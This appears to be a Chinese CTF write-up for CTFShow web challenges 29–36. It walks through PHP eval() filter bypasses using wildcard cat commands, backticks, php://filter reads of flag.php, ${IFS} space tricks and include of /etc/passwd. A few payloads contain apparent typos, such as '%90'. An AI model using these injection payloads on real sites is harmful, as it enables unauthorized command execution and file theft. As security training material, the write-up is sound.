1. 程式人生 > 實用技巧 >CTFShow-Web入門-命令執行 29-36

CTFShow-Web入門-命令執行 29-36

web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

過濾了 flag

①使用萬用字元

payload1:?c = system('cat f*');

payload2:?c = system('cat fla/g.php');

②利用eval函式

傳入:?c = echo "ss";?>ctf <?php system('ls');

看到有flag檔案,payload3:?c = echo "ss";?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file
(__FILE__); }

過濾了 命令執行函式

命令執行函式如下

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引號 同shell_exec() 

①利用反引號

payload1:?c = echo `fl*`;

②同上

payload2:?c = echo "ss";?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php

web31

error_reporting
(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

過濾空格,單引號,cat等

空格繞過

> < <> 重定向符
%09(需要php環境)
${IFS}
$IFS$9
{cat,flag.php} //用逗號實現了空格功能
%20
%09

cat繞過

more:一頁一頁的顯示檔案內容
less:與 more 類似
head:檢視頭幾行
tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:檢視尾幾行
nl:顯示的時候,順便輸出行號
od:以二進位制的方式讀取檔案內容
vi:一種編輯器,這個也可以檢視
vim:一種編輯器,這個也可以檢視
sort:可以檢視
uniq:可以檢視
file -f:報錯出具體內容

payload1: ?c=echo(tac%90f*);

②雙引號替換單引號

payload2: ?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

無需括號的函式

echo 666;
print 666;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "/etc/passwd";

繞過分號

?>

payload1:?c=include$_POST[1]?>

1=php://filter/read=convert.base64-encode/resource=flag.php

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

過濾了雙引號

payload 同32

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

過濾了冒號

payload 同32

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

過濾了 雙引號 < =

payload 同32

web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

過濾了 反斜槓 和 數字

把數字 1 改成 字母 a

payload1:?c=include$_POST[a]?>

a=php://filter/read=convert.base64-encode/resource=flag.php